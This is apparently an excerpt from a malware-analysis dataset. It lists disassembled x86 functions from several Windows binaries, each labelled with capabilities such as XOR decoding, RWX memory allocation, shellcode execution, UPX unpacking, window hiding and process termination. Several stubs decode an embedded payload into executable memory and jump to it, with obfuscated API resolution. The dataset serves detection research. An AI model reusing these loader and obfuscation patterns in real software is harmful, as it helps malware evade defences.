joyce8/EMBER2024-capa huggingface dataset:
Function at 0x30809222
Capabilities:
Enumerate process modules

Disassembly:
push 0x24
mov eax, 0x3081af3b
call fcn.30801ee1
xor ebx, ebx
push 8
pop esi
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
push ebx
push esi
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], ebx
call fcn.30813c15
push 0x20
pop edi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 1
mov byte [ebp - 0xd], 1
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebp - 0x30]
call sub.psapi.dll_EnumProcesses
test eax, eax
je 0x3080928c
mov eax, dword [ebp - 0x18]
cmp eax, edi
jb 0x30809285
push ebx
add esi, esi
push esi
lea ecx, [ebp - 0x30]
call fcn.30813c15
mov edi, esi
shl edi, 2
jmp 0x30809294
shr eax, 2
mov esi, eax
jmp 0x30809291
xor esi, esi
mov dword [ebp - 0x14], ebx
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
jne 0x3080925a
cmp dword [ebp - 0x14], ebx
je 0x308092c8
mov edi, dword [ebp + 8]
mov eax, dword [edi + 4]
mov ecx, dword [edi]
push eax
push ecx
lea eax, [ebp - 0x1c]
push eax
mov ecx, edi
call fcn.30813c15
cmp esi, ebx
jbe 0x308092c8
mov ebx, dword [ebp - 0x30]
push ebx
mov ecx, edi
call fcn.30813c15
add ebx, 4
dec esi
jne 0x308092ba
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.30806a0c
mov eax, dword [ebp - 0x14]
call fcn.30801fc6
ret

Function at 0x30813c15
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x30813c24
pop dword [ebp - 0x48]
mov eax, 0x8b83253d
sub eax, 0x5b01e919
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xcf675968
add dword [ebp - 0x58], 0x7eeaebe3
mov dword [ebp - 0x54], 0x848fee37
add dword [ebp - 0x54], 0xada35e0e
mov dword [ebp - 0x50], 0x7de7fda4
sub dword [ebp - 0x50], 0x319bb976
mov dword [ebp - 0x4c], 0x98a00907
add dword [ebp - 0x4c], 0x675ff6f9
lea eax, [ebp - 0x58]
push eax
mov eax, 0xd066b478
add eax, 0x601b1bdc
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xdd77351
add dword [ebp - 0x58], 0x669af605
mov dword [ebp - 0x54], 0xa37acd7b
sub dword [ebp - 0x54], 0x620e6c06
mov dword [ebp - 0x50], 0xa32bbbd3
sub dword [ebp - 0x50], 0x3fbc4f67
mov dword [ebp - 0x4c], 0x77c1f2b2
sub dword [ebp - 0x4c], 0x77c1f2b2
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x47ec96b0
add eax, 0xe8953a0c
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3f674
push 0
call eax
mov ecx, 0x42178f39
sub ecx, 0x42173dab
xor esi, esi
add esi, eax
mov edi, 0x9f5d291d
sub edi, 0x6eda371d
add edi, dword [ebp - 0x48]
mov ebx, 0xf2f82a9e
add ebx, 0x83b8ee2b
add dword [ebp - 0x18], eax
mov edx, dword [edi]
sub dword [ebp - 4], 0x74575267
xor edx, ebx
xor dword [ebp - 0x30], 0x15fe7d9e
mov dword [esi], edx
add dword [ebp - 0xc], edx
add esi, 0x1da6b3ef
sub esi, 0x1da6b3eb
add edi, 4
loop 0x30813d48
add eax, 0x189639ad
sub eax, 0x189500a2
xor ebx, ebx
add ebx, eax
add eax, 0x69740ccc
sub eax, 0x69740cc7
mov ecx, 0x30800000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x10001000
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push edi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov dword [esp + 8], eax
mov ecx, 0x11
mov dword [esp + 0xc], eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
mov cx, word [esp + 0x64]
mov dword [esp + 0x10], eax
mov word [esp + 0x44], cx
lea eax, [esp + 4]
lea ecx, [esp + 0x14]
xor edx, edx
push eax
push ecx
mov eax, dword [esp + 0x64]
push edx
push edx
push 0x4000010
push edx
push edx
mov dword [esp + 0x20], edx
mov dword [esp + 0x34], edx
mov dword [esp + 0x38], edx
mov dword [esp + 0x3c], edx
mov word [esp + 0x62], dx
mov dword [esp + 0x64], edx
push edx
mov edx, dword [esp + 0x80]
push edx
push eax
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x68], 1
call dword [sym.imp.kernel32.dll_CreateProcessA]
test eax, eax
pop edi
je 0x100010b1
mov ecx, dword [esp + 0x64]
mov edx, dword [esp + 8]
mov eax, dword [esp + 0x68]
mov dword [ecx], edx
mov edx, dword [esp + 4]
mov ecx, dword [esp]
push edx
mov dword [eax], ecx
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, 1
add esp, 0x54
ret
xor eax, eax
add esp, 0x54
ret

Function at 0x100013d0
Capabilities:
Create thread
Hide graphical window
Query or enumerate registry value

Disassembly:
sub esp, 0x14
lea eax, [esp + 8]
push esi
xor esi, esi
push eax
push 0x20019
push esi
push str.Software_sudo_
push 0x80000001
mov dword [esp + 0x28], esi
mov dword [esp + 0x24], esi
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100014cc
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [sym.imp.advapi32.dll_RegQueryValueExA]
lea ecx, [esp + 8]
push edi
push ecx
lea edx, [esp + 0x14]
push esi
push edx
push esi
push 0x10007088
push eax
mov dword [esp + 0x28], 1
mov dword [esp + 0x24], esi
call ebx
mov ecx, dword [esp + 0xc]
push ecx
call fcn.10001a4d
mov ecx, dword [esp + 0x10]
mov esi, eax
mov edx, ecx
xor eax, eax
mov edi, esi
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov edx, dword [esp + 0x14]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x14]
push esi
push ecx
push 0
push 0x10007088
push edx
mov dword [esp + 0x28], 1
call ebx
pop edi
pop ebx
test eax, eax
jne 0x100014c1
push eax
call fcn.10001350
push eax
call dword [sym.imp.user32.dll_ShowWindow]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push ecx
push 5
push 0x10009a98
push esi
call fcn.10001000
add esp, 0x14
push 0
push 0
push 0
push 0x10001220
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
mov esi, dword [sym.imp.kernel32.dll_Sleep]
push 0x64
call esi
jmp 0x100014bb
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov eax, 1
pop esi
add esp, 0x14
ret
Function at 0x6f8080
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x194000]
push edi
or ebp, 0xffffffff
jmp 0x6f80a2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x6f80a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6f8098
mov eax, 1
add ebx, ebx
jne 0x6f80bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x6f80cc
jne 0x6f80eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6f80eb
dec eax
add ebx, ebx
jne 0x6f80d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x6f80b0
add ebx, ebx
jne 0x6f80e7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x6f813d
xor ecx, ecx
sub eax, 3
jb 0x6f8103
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x6f8172
sar eax, 1
mov ebp, eax
jmp 0x6f810e
add ebx, ebx
jne 0x6f810e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6f80dc
inc ecx
add ebx, ebx
jne 0x6f811c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6f80dc
add ebx, ebx
jne 0x6f8129
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x6f811e
jne 0x6f813a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x6f811e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x6f815c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x6f814e
jmp 0x6f809e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x6f815c
add edi, ecx
jmp 0x6f809e
pop esi
mov edi, esi
mov ecx, 0x8366
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x6f817a
cmp byte [edi], 0x29
jne 0x6f817a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x6f817f
lea edi, [esi + 0x2ee000]
mov eax, dword [edi]
or eax, eax
je 0x6f81f7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x305bbc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x305ce0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x6f81ac
mov ecx, edi
jns 0x6f81db
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x305ce8]
or eax, eax
je 0x6f81f1
mov dword [ebx], eax
add ebx, 4
jmp 0x6f81c9
call dword [esi + 0x305ce4]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x6f8228
cmp al, 0xef
ja 0x6f821b
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x6f81fd
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x6f820a
mov ebp, dword [esi + 0x305cec]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x6f825c
sub esp, 0xffffff80
jmp 0x503c70
Function at 0x1000a7c7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x1002a134
call fcn.100162ec
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x430], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], ebx
mov dword [ebp - 0x418], ebx
push 0x60
push ebx
push esi
mov byte [ebp - 4], 1
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x1000a844
push 2
push ebx
push esi
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x1000a844
call fcn.10004432
mov esi, eax
jmp 0x1000a91b
push dword [ebp - 0x420]
push dword [ebp - 0x41c]
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x1000a867
call fcn.10004432
jmp 0x1000a90e
push esi
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x420], eax
test eax, eax
je 0x1000a85d
push esi
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov esi, eax
mov dword [ebp - 0x41c], esi
lea eax, [esi + 1]
cmp eax, esi
jae 0x1000a897
mov esi, 0x8007000e
jmp 0x1000a910
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.1001d869
jmp 0x1000a8bd
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
je 0x1000a890
push esi
push dword [ebp - 0x418]
push esi
push dword [ebp - 0x420]
push ebx
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x1000a85d
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x42c]
push dword [ebp - 0x418]
call fcn.1001d869
mov esi, eax
test edi, edi
je 0x1000a91b
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x1000a934
lea ecx, [ebp - 0x418]
call fcn.10009f30
mov eax, esi
call fcn.1001623e
ret 0x10
Function at 0x1000f7c9
Capabilities:
Delete file

Disassembly:
push 0x14
mov eax, 0x1002a5ef
call fcn.1001624d
mov ebx, ecx
mov eax, dword [ebx]
xor esi, esi
call dword [eax + 0x18]
push eax
lea ecx, [ebp - 0x10]
call fcn.1001d869
and dword [ebp - 4], esi
cmp dword [ebx + 0x44], esi
je 0x1000f873
push str.Excel.Application
lea ecx, [ebp - 0x10]
call fcn.1001d869
test al, al
je 0x1000f849
push 0xb
pop eax
mov word [ebp - 0x20], ax
xor eax, eax
mov word [ebp - 0x18], ax
sub esp, 0x10
mov byte [ebp - 4], 1
mov edi, esp
lea esi, [ebp - 0x20]
push 1
movsd dword es:[edi], dword [esi]
push str.Close
push dword [ebx + 0x44]
movsd dword es:[edi], dword [esi]
push eax
push 1
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.1001d869
add esp, 0x28
mov byte [ebp - 4], 0
mov esi, eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x1000f862
push 0
push str.Close
push dword [ebx + 0x44]
push 0
push 1
push ebx
call fcn.1001d869
add esp, 0x18
mov esi, eax
mov ecx, dword [ebx + 0x44]
test ecx, ecx
je 0x1000f873
and dword [ebx + 0x44], 0
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
cmp dword [ebx + 0x24], 0
je 0x1000f893
push str.Excel.Application
lea ecx, [ebp - 0x10]
call fcn.1001d869
test al, al
je 0x1000f893
push dword [ebx + 0x24]
call dword [sym.imp.kernel32.dll_DeleteFileW]
push dword [ebp - 0x10]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, esi
call fcn.1001621b
ret
Function at 0x100106e6
Capabilities:
Copy file
Set file attributes

Disassembly:
push 0x210
mov eax, 0x1002a68f
call fcn.10016280
mov esi, dword [ebp + 8]
xor edi, edi
mov ebx, dword [ebp + 0xc]
cmp dword [esi + 8], edi
je 0x1001070c
mov eax, reloc.OLEAUT32.dll_VariantCopyInd
jmp 0x1001087d
lea ecx, [esi - 0xc]
mov eax, dword [ecx]
call dword [eax + 0x10]
mov ecx, dword [esi + 0x14]
test ecx, ecx
jne 0x10010725
mov eax, 0x80004005
jmp 0x1001087d
mov edx, dword [ebp + 0x10]
mov eax, edx
and eax, reloc.OLEAUT32.dll_SysReAllocString
cmp eax, reloc.OLEAUT32.dll_SysReAllocString
push ebx
sete al
mov byte [ecx + 0x31], al
mov ecx, reloc.OLEAUT32.dll_SysReAllocStringLen
mov eax, edx
and eax, ecx
cmp eax, ecx
mov eax, dword [esi + 0x14]
sete cl
mov byte [eax + 0x32], cl
mov eax, reloc.OLEAUT32.dll_VariantClear
and edx, eax
cmp edx, eax
mov eax, dword [esi + 0x14]
sete cl
mov byte [eax + 0x33], cl
mov ecx, dword [esi + 0x14]
add ecx, 0x28
call fcn.1001d869
mov ecx, dword [esi + 0x14]
mov eax, dword [ecx]
call dword [eax + 0x18]
push eax
lea ecx, [ebp - 0x21c]
call fcn.1001d869
push str.Excel.Application
lea ecx, [ebp - 0x21c]
mov dword [ebp - 4], edi
call fcn.1001d869
test al, al
je 0x1001085a
xor eax, eax
push 0x206
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push edi
push eax
call fcn.10016100
push 0x5c
push ebx
call fcn.1001d869
add esp, 0x14
test eax, eax
jne 0x100107d3
push 0x2f
push ebx
call fcn.1001d869
pop ecx
pop ecx
test eax, eax
je 0x100107f3
add eax, 2
push 0x2e
push eax
call fcn.1001d869
push eax
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.1001d869
add esp, 0x14
cmp word [ebp - 0x218], 0
je 0x10010853
push edi
lea eax, [ebp - 0x218]
push eax
push ebx
call dword [sym.imp.kernel32.dll_CopyFileW]
lea eax, [ebp - 0x218]
push edi
push eax
call fcn.1001d869
pop ecx
pop ecx
mov ecx, dword [esi + 0x14]
add ecx, 0x24
test eax, eax
jne 0x10010845
lea eax, [ebp - 0x218]
push eax
call fcn.1001d869
push 0x80
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
jmp 0x1001084b
push ebx
call fcn.1001d869
mov eax, dword [esi + 0x14]
add eax, 0x24
jmp 0x10010866
mov edi, 0x80004005
jmp 0x1001086f
mov ecx, dword [esi + 0x14]
push ebx
add ecx, 0x24
call fcn.1001d869
push eax
lea ecx, [esi + 0x10]
call fcn.1001d869
push dword [ebp - 0x21c]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, edi
call fcn.1001622f
ret 0xc
Function at 0x10010e0f
Capabilities:
Terminate process

Disassembly:
push 0x81c
mov eax, 0x1002a74e
call fcn.10016280
mov esi, ecx
xor edi, edi
xor ebx, ebx
and dword [ebp - 0x814], edi
cmp dword [esi + 0x40], ebx
je 0x10010f3b
push 0x10
lea eax, [ebp - 0x828]
push ebx
push eax
call fcn.10016100
add esp, 0xc
lea eax, [ebp - 0x828]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
push edi
push str.Caption
push dword [esi + 0x40]
lea eax, [ebp - 0x828]
mov dword [ebp - 4], edi
push eax
push 2
push esi
call fcn.1001d869
add esp, 0x18
test eax, eax
jne 0x10010ea5
push dword [ebp - 0x820]
mov word [ebp - 0x810], ax
lea eax, [ebp - 0x810]
push 0x400
push eax
call fcn.1001d869
add esp, 0xc
lea eax, [ebp - 0x810]
push eax
push edi
call dword [sym.imp.USER32.dll_FindWindowW]
mov ebx, eax
mov eax, dword [esi]
lea ecx, [ebp - 0x814]
push ecx
mov ecx, esi
call dword [eax + 0x2c]
mov edi, eax
test edi, edi
js 0x10010edb
cmp dword [ebp - 0x814], 0
jne 0x10010edb
push 0
push str.Quit
push dword [esi + 0x40]
push 0
push 1
push esi
call fcn.1001d869
add esp, 0x18
mov edi, eax
mov ecx, dword [esi + 0x40]
test ecx, ecx
je 0x10010eec
and dword [esi + 0x40], 0
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
lea eax, [ebp - 0x828]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
test ebx, ebx
je 0x10010f3b
cmp dword [ebp - 0x814], 0
jne 0x10010f3b
test edi, edi
jns 0x10010f3b
and dword [ebp - 0x818], 0
lea eax, [ebp - 0x818]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp - 0x818]
push 1
push 0x1fffff
call dword [sym.imp.kernel32.dll_OpenProcess]
push 1
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
mov eax, edi
call fcn.1001622f
ret
Function at 0x10012866
Capabilities:
Enumerate processes

Disassembly:
push 0x238
mov eax, 0x1002aa12
call fcn.10016280
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x10012883
xor eax, eax
jmp 0x10012959
xor edi, edi
push edi
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x10012957
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0x22c
push eax
push esi
call sub.kernel32.dll_Process32FirstW
jmp 0x1001292d
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x240]
call fcn.1001249d
push ebx
lea ecx, [ebp - 0x244]
mov dword [ebp - 4], edi
call fcn.1001249d
lea ecx, [ebp - 0x240]
mov byte [ebp - 4], 1
call fcn.100129db
lea ecx, [ebp - 0x244]
call fcn.100129db
push dword [ebp - 0x240]
lea ecx, [ebp - 0x244]
call fcn.1001d869
mov ecx, dword [ebp - 0x244]
lea ecx, [ecx - 0x10]
test eax, eax
je 0x10012937
call fcn.10012ac9
mov ecx, dword [ebp - 0x240]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.10012ac9
lea eax, [ebp - 0x23c]
push eax
push esi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x100128b0
jmp 0x10012950
mov edi, dword [ebp - 0x234]
call fcn.10012ac9
mov ecx, dword [ebp - 0x240]
add ecx, 0xfffffff0
call fcn.10012ac9
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
call fcn.1001622f
ret

Function at 0x1001d869
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x1001d878
pop dword [ebp - 0x2c]
mov eax, 0x1001d878
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x40731
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x80d4a86b
add ecx, 0x7f2ba5bd
mov edi, eax
mov ebx, 0x9f00eef8
add ebx, 0x71039b08
add ebx, dword [ebp - 0x2c]
mov esi, 0xaeeb34e
add esi, 0xe0611597
xor dword [ebp - 0x20], ecx
mov edx, dword [ebx]
add dword [ebp - 0x20], 0x9c5f6aaf
sub edx, esi
sub dword [ebp - 0x14], esi
mov dword [edi], edx
xor dword [ebp - 0x20], esi
add edi, 0x1378ee84
sub edi, 0x1378ee80
add ebx, 0x4472c71b
sub ebx, 0x4472c717
loop 0x1001d8cd
add eax, 0xe753670d
sub eax, 0xe7523b9a
xor ebx, ebx
add ebx, eax
add eax, 0x9be325d3
sub eax, 0x9be325ce
mov ecx, 0x10000000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x1001305b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1001306a
pop dword [ebp - 0x40]
mov eax, 0x1001306a
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x7196bc9c
add dword [ebp - 0x50], 0xdcbb88af
mov dword [ebp - 0x4c], 0x39c4e87f
sub dword [ebp - 0x4c], 0x7919c3a
mov dword [ebp - 0x48], 0x15395bee
sub dword [ebp - 0x48], 0xc8ed17c0
mov dword [ebp - 0x44], 0x98b46ff7
add dword [ebp - 0x44], 0x674b9009
lea eax, [ebp - 0x50]
push eax
mov eax, 0x9b25070b
add eax, 0x74dcf8f9
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xfe110e33
sub dword [ebp - 0x50], 0x899ea4dd
mov dword [ebp - 0x4c], 0xfaa1bb74
sub dword [ebp - 0x4c], 0xb93559ff
mov dword [ebp - 0x48], 0x3947ac6
sub dword [ebp - 0x48], 0xa0250e5a
mov dword [ebp - 0x44], 0xa1a55950
add dword [ebp - 0x44], 0x5e5aa6b0
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3e20f
push 0
call eax
mov ecx, 0x973194a8
sub ecx, 0x9731474e
xor edi, edi
add edi, eax
mov ebx, 0x424e503e
sub ebx, 0x324b943e
add ebx, dword [ebp - 0x40]
mov edx, 0x16925a8d
sub edx, 0x25857e12
add dword [ebp - 0x28], edi
mov esi, dword [ebx]
sub dword [ebp - 0x3c], edi
xor esi, edx
mov dword [edi], esi
xor dword [ebp - 0x28], ebx
add edi, 4
add ebx, 4
loop 0x10013184
add eax, 0x1283b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xd68ed047
sub ecx, 0xc68ed047
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x1000a6a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10011dac], 0
push esi
push edi
jne 0x1000a61a
call fcn.1000a586
test eax, eax
je 0x1000a65f
mov eax, dword [0x10011dac]
cmp eax, 1
jne 0x1000a63b
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1000a65f
jmp 0x1000a6a1
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1000a6a1
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1000a663
xor eax, eax
jmp 0x1000a6a1
mov eax, dword [esi]
push dword [0x10011dac]
call edi
mov edi, eax
test edi, edi
je 0x1000a685
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1000a6a1
lea edi, [esi + 0xff0]
push esi
push dword [0x10011dac]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1000a68b
mov eax, esi
pop edi
pop esi
ret
jmp 0x1000a606

Function at 0x1000a812
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10011c4c]
jne 0x1000a81c
repz ret
jmp fcn.1000b021

Function at 0x1000acde
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1000aced
pop dword [ebp - 0xc]
mov eax, 0x1000aced
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x3a727
push 0
mov eax, 0xcc958ca7
add eax, 0x436b3469
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0x5500
mov esi, eax
mov edi, 0xdfd7e2bc
sub edi, 0xcfd61cbc
add edi, dword [ebp - 0xc]
mov ebx, 0x8915a150
add dword [ebp - 4], 0x904f6096
mov edx, dword [edi]
xor dword [ebp - 8], 0xe17a6673
sub edx, ebx
add dword [ebp - 8], 0x81917e9b
mov dword [esi], edx
sub dword [ebp - 4], 0x2fe42355
add esi, 0x55408ec0
sub esi, 0x55408ebc
add edi, 0x4975cbeb
add edi, 0xb68a3419
loop 0x1000ad3b
add eax, 0xdd905f6
add eax, 0xf22840dd
xor ebx, ebx
add ebx, eax
add eax, 0xdd2654c9
sub eax, 0xdd2654c4
mov ecx, 0x7d5e7a93
add ecx, 0x92a1856d
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x1002aadf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x1002aaee
pop dword [ebp - 0x50]
mov eax, 0x147a4621
add eax, 0xfb8864cd
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x3450e86a
sub dword [ebp - 0x60], 0xe5fea31f
mov dword [ebp - 0x5c], 0x66b9208b
add dword [ebp - 0x5c], 0xcb7a2bba
mov dword [ebp - 0x58], 0xeecbd4e1
sub dword [ebp - 0x58], 0xa27f90b3
mov dword [ebp - 0x54], 0x3298c598
add dword [ebp - 0x54], 0xcd673a68
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x46e002ce
add dword [ebp - 0x60], 0x2d926688
mov dword [ebp - 0x5c], 0x76dff7ed
sub dword [ebp - 0x5c], 0x35739678
mov dword [ebp - 0x58], 0x333e4e28
sub dword [ebp - 0x58], 0xcfcee1bc
mov dword [ebp - 0x54], 0xcb78f203
sub dword [ebp - 0x54], 0xcb78f203
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x327e0
push 0
call eax
mov ecx, 0x8f88e9c4
sub ecx, 0x8f88b1ab
xor esi, esi
add esi, eax
mov edi, 0x8c3a6fba
sub edi, 0x7c36d9ba
add edi, dword [ebp - 0x50]
mov ebx, 0x37186259
add ebx, 0xf59f8c06
add dword [ebp - 0x48], 0xcde9a5eb
mov edx, dword [edi]
sub dword [ebp - 0x1c], ebx
xor edx, ebx
add dword [ebp - 0x38], 0xf163b08b
mov dword [esi], edx
add dword [ebp - 0x2c], 0xd54d4663
add esi, 0xe974c34b
sub esi, 0xe974c347
add edi, 0x9ddfe57b
add edi, 0x62201a89
loop 0x1002ac08
add eax, 0xd337
mov ebx, eax
add eax, 5
mov ecx, 0xc33c8c5a
sub ecx, 0xb33c8c5a
add ecx, dword [ebp - 0x50]
call ebx
leave
ret